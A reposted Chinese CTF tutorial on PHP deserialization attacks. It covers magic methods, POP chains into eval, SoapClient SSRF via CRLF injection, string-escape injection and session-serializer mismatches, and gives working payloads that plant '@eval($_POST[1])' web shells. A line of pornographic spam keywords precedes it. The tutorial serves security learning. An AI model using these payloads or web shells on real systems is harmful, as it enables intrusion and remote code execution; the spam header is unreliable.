日日操夜夜添-日日操影院-日日草夜夜操-日日干干-精品一区二区三区波多野结衣-精品一区二区三区高清免费不卡

公告:魔扣目錄網為廣大站長提供免費收錄網站服務,提交前請做好本站友鏈:【 網站目錄:http://www.ylptlb.cn 】, 免友鏈快審服務(50元/站),

點擊這里在線咨詢客服
新站提交
  • 網站:51998
  • 待審:31
  • 小程序:12
  • 文章:1030137
  • 會員:747

0×00:前言

各種CTF比賽隨處可見反序列化的影子,讓我們來了解一下!

閱讀本文,需要了解php中類的基礎知識

0×01:正文

了解反序列化,必先了解其魔法函數

 1. __sleep() //在對象被序列化之前運行
 2. __wakeup() //將在反序列化之后立即調用(當反序列化時變量個數與實際不符是會繞過)
 3. __construct() //當對象被創建時,會觸發進行初始化
 4. __destruct() //對象被銷毀時觸發
 5. __toString()://當一個對象被當作字符串使用時觸發
 6. __call() //在對象上下文中調用不可訪問的方法時觸發
 7. __callStatic() //在靜態上下文中調用不可訪問的方法時觸發
 8. __get() //獲得一個類的成員變量時調用,用于從不可訪問的屬性讀取數據
 9. __set() //用于將數據寫入不可訪問的屬性
 10. __isset() //在不可訪問的屬性上調用isset()或empty()觸發
 11. __unset() //在不可訪問的屬性上使用unset()時觸發
 12. __toString() //把類當作字符串使用時觸發
 13. __invoke() //當腳本嘗試將對象調用為函數時觸發

然后了解其屬性

序列化對象:
private變量會被序列化為:x00類名x00變量名
protected變量會被序列化為: x00*x00變量名
public變量會被序列化為:變量名

讓我們跟隨CTF題目,來感受反序列化獨有的的"魅力"

01

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
  public $username='xxxxxx';
  public $password='xxxxxx';
  public $isVip=false;
  public function checkVip(){
    return $this->isVip;
 }
  public function login($u,$p){
return $this->username===$u&&$this->password===$p;
 }
  public function vipOneKeyGetFlag(){
    if($this->isVip){
      global $flag;
      echo "your flag is ".$flag;
   }else{
      echo "no vip, no flag";
   }
 }
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
  $user = unserialize($_COOKIE['user']);  
  if($user->login($username,$password)){
    if($user->checkVip()){
      $user->vipOneKeyGetFlag();
   }
 }else{
    echo "no vip,no flag";
 }
}

通讀代碼

$username&&$password存在進入反序列化 $_COOKIE['user']

(cookie為可控字段)

隨后便調用了login方法

 public function login($u,$p){
         return $this->username===$u&&$this->password===$p;

只有類中$username和$password等于我們傳入的值 ,即可返回true

進入第二個if 調用了checkVip方法

 public function checkVip(){
         return $this->isVip;
      }

這里定義類中isVip屬性為true即可

便調用了其vipOneKeyGetFlag方法 echo除了flag

思路來了,構造payload

 <?
 class ctfShowUser{
        public $isVip=true;
        public $username='a';
        public $password='a';
 }
 $o=new ctfShowUser();
 echo serialize($o);
 ?>

?username=a&passowrd=a

cookie便傳值我們構造出的payload

02

class ctfShowUser{
  private $username='xxxxxx';
  private $password='xxxxxx';
  private $isVip=false;
  private $class = 'info';
  public function __construct(){
    $this->class=new info();
 }
  public function login($u,$p){
    return $this->username===$u&&$this->password===$p;
 }
  public function __destruct(){
    $this->class->getInfo();
 }
}
class info{
  private $user='xxxxxx';
  public function getInfo(){
    return $this->user;
 }
}
class backDoor{
  private $code;
  public function getInfo(){
    eval($this->code);
 }
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
  $user = unserialize($_COOKIE['user']);
  $user->login($username,$password);
}

看到這么長的代碼,我們可以簡化一下

眾所周知反序列化找的就是魔法函數

class ctfShowUser{
  private $username='xxxxxx';
  private $password='xxxxxx';
  private $isVip=false;
  private $class = 'info';
  public function __destruct(){
    $this->class->getInfo();
 }
}
class backDoor{
  private $code;
  public function getInfo(){
    eval($this->code);
 }
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
  $user = unserialize($_COOKIE['user']);
  $user->login($username,$password);
}

思路

$username和$password存在進入反序列化

backDoor類里邊有eval危險函數,我們要將其利用

看到__destruct函數,當類反序列化結束銷毀時會將其調用

   public function __destruct(){
         $this->class->getInfo();
      }

看到里邊正好有getInfo()函數

我們只需要將$this->class=new backDoor()就可以調用backDoor類中的getInfo()函數 進行eval利用

故構造payload

<?
class ctfShowUser{
  private $class;
  public function __construct(){
    $this->class=new backDoor();
 }
}
class backDoor{
  private $code;
  public function __construct(){
  $this->code='file_put_contents("./shell.php","<?php @eval($_POST[1]);?
>");echo "[++++++++++++++++++++YES+++++++++++++++++++++++]";';
 }
}
$o=new ctfShowUser();
echo urlencode(serialize($o));
?>

?username=xxx&password=xxx

cookie:user=傳我們構造的payload即可寫入一句話木馬

03 原生類利用

<?php
highlight_file(__FILE__);
$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();
////////////////////////////////////////////
//flag.php
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}

訪問flag.php需要

X_FORWARDED_FOR===127.0.0.1,127.0.0.1

由于用了CF代理不能構造X_FORWARDED_FOR

故只能用SoapClient原生類來進行SSRF請求

那什么叫SoapClient類呢?

SoapClient采用了HTTP作為底層通訊協議,XML作為數據傳送的格式,其采用了SOAP協議(SOAP 是一種簡單的基于XML的協議,它使應用程序通過HTTP來交換信息)來觸發__call方法,再利用一個CRLF注入進行post傳輸構造SSRF請求

那什么叫CRLF注入呢?

貼上大佬鏈接CRLF

故構造payload

 <?php
 $payload= array(
            'user_agent' => "Flowers_BeiChengrnx-forwarded-
 for:127.0.0.1,127.0.0.1rnContent-type:Application/x-www-form-
 urlencodedrnContent-length:13rnrntoken=ctfshow",
            'uri' => 'Flowers_BeiCheng',
            'location' => 'http://127.0.0.1/flag.php'
         )
 $a = new SoapClient(null,$payload);
 $o = serialize($a);
 echo urlencode($o);

04

class ctfshowvip{
  public $username;
  public $password;
  public $code;
public function __wakeup(){
  if($this->username!='' || $this->password!=''){
    die('error');
 }
}
public function __invoke(){
  eval($this->code);
}
public function __sleep(){
  $this->username='';
  $this->password='';
}
public function __unserialize($data){
  $this->username=$data['username'];
  $this->password=$data['password'];
  $this->code = $this->username.$this->password;
}
public function __destruct(){
  if($this->code==0x36d){
    file_put_contents($this->username, $this->password);
 }
}
}
unserialize($_GET['vip']);

__unserialize和__wake同時存在,則__unserialize生效 __wake失效

通讀代碼

直接利用__destruct中file_put_contents

但想要利用file_put_contents需要$this->code==0x36d(這里考察弱類型比較)

$this->code和0x36d會轉換為數字進行比較 0x36d==877

故構造payload

<?php
class ctfshowvip{
  public $username;
  public $password;
  public function __construct(){
    $this->username='877.php';
    $this->password='<?php @eval($_POST[1]);?>';
 }
}
$o = new ctfshowvip();
echo urlencode(serialize($o));
?>

05 字符串逃逸

error_reporting(0);
class message{
  public $from;
  public $msg;
  public $to;
  public $token='user';
  public function __construct($f,$m,$t){
    $this->from = $f;
    $this->msg = $m;
    $this->to = $t;
 }
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
  $msg = new message($f,$m,$t);
  $umsg = str_replace('fuck', 'loveU', serialize($msg));
  setcookie('msg',base64_encode($umsg));
  echo 'Your message has been sent';
}
highlight_file(__FILE__);

根據提示還有個message.php

highlight_file(__FILE__);
include('flag.php');
class message{
  public $from;
  public $msg;
  public $to;
  public $token='user';
  public function __construct($f,$m,$t){
    $this->from = $f;
    $this->msg = $m;
 $this->to = $t;
 }
}
if(isset($_COOKIE['msg'])){
  $msg = unserialize(base64_decode($_COOKIE['msg']));
  if($msg->token=='admin'){
    echo $flag;
 }
}

觸發點在message.php

我們要讓$msg->token=='admin',

class message{
  public $from;
  public $msg;
  public $to;
  public $token='user';
  public function __construct($f,$m,$t){
    $this->from = $f;
    $this->msg = $m;
    $this->to = $t;
 }
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

可以看到控制不了$token 可以控制$from $msg $to

傳一個正常反序列化內容

O:7:"message":4:
 {s:4:"from";s:1:"1";s:3:"msg";s:1:"1";s:2:"to";s:1:"1";s:5:"token";s:4:"user";}

我們需要構造這樣的反序列化內容

 O:7:"message":4:
 {s:4:"from";s:1:"1";s:3:"msg";s:1:"1";s:2:"to";s:1:"1";s:5:"token";s:5:"admin";}

這時候就要傳入

 ";s:5:"token";s:5:"admin";} //27個字符

傳入的內容需要逃逸出來

 if(isset($f) && isset($m) && isset($t)){
     $msg = new message($f,$m,$t);
     $umsg = str_replace('fuck', 'loveU', serialize($msg));
     setcookie('msg',base64_encode($umsg));
     echo 'Your message has been sent';
 }

fuck變成loveU 四個字符變成五個字符

每次變多一個,一共需要27個字符

構造payload

f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfu
 ckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

06 session反序列化

反序列化處理器

| 處理器           | 對應的存儲格式                    
   |
| ------------------------- | :-------------------------------------------------
---------- |
| php            | 鍵名+豎線+經過serialize()函數反序列化處理的值     
   |
| php_binary         | 鍵名的長度對應的ASCII字符+鍵名+經過serialize()函數反序列
化處理的值 |
| php_serialize(php>=5.5.4) | 經過serialize()函數反序列化處理的數組         
   |
#### 安全問題
如果PHP在反序列化存儲的$_SESSION數據時的使用的處理器和序列化時使用的處理器不同,會導致數據無法
正確反序列化,通過特殊的構造,甚至可以偽造任意數據
session.auto_start=On
當配置選項session.auto_start=On,會自動注冊Session會話,因為該過程是發生在腳本代碼執行前,所
以在腳本中設定的包括序列化處理器在內的session相關配選項的設置是不起作用的,因此一些需要在腳本中
設置序列化處理器配置的程序會在session.auto_start=On時,銷毀自動生成的Session會話,然后設置
需要的序列化處理器,在調用session_start()函數注冊會話,這時如果腳本中設置的序列化處理器與
php.ini中設置的不同,就會出現安全問題

訪問/www.zip下載源碼

通讀代碼

index.php

反序列化的那些事兒

 

17行,$_SESSION['limit']首先是為空 通過后面的$_COOKIE['limit']便可以控制$_SESSION['limit']

如果無法控制,利用
PHP_SESSION_UPLOAD_PROGRESS來控制session內容

查看check.php

發現包含了inc/inc.php

反序列化的那些事兒

 

跟進inc/inc.php

反序列化的那些事兒

 

默認配置為php進行反序列化的

那php反序列化什么樣的呢?

鍵名+豎線+經過serialize()函數反序列化處理的值

只有 | 后面的內容才會被反序列化

漏洞關鍵位置

反序列化的那些事兒

 

發現了User類里的__destruct()魔法函數可以進行file_put_contents函數進行getshell

思路

  • 前提:由于php.ini默認配置為php_serialize
  • 利用index.php控制SESSION文件寫入SESSION為序列化后的內容
  • 再利用check.php觸發反序列化(觸發|后面序列化后的內容)

故構造payload

 class User{
     public $username;
     public $password;
     function __construct($username,$password){
         $this->username = $username;
         $this->password = $password;
 }
 }
 $o=new User('huahua.php','<?php @eval($_POST[1]);phpinfo();?>');
 echo base64_encode('|'.serialize($o));

訪問index.php改cookie limit為payload 再次訪問寫入

訪問check.php觸發

最后訪問log-huahua.php

成功寫入

反序列化的那些事兒

 

0×02:總結

介紹了這么多,相信大家已經對反序列化有了初步的了解

要學會嘗試構造POP鏈復現TP Yii等框架的鏈子哦

分享到:
標簽:序列化
用戶無頭像

網友整理

注冊時間:

網站:5 個   小程序:0 個  文章:12 篇

  • 51998

    網站

  • 12

    小程序

  • 1030137

    文章

  • 747

    會員

趕快注冊賬號,推廣您的網站吧!
最新入駐小程序

數獨大挑戰2018-06-03

數獨一種數學游戲,玩家需要根據9

答題星2018-06-03

您可以通過答題星輕松地創建試卷

全階人生考試2018-06-03

各種考試題,題庫,初中,高中,大學四六

運動步數有氧達人2018-06-03

記錄運動步數,積累氧氣值。還可偷

每日養生app2018-06-03

每日養生,天天健康

體育訓練成績評定2018-06-03

通用課目體育訓練成績評定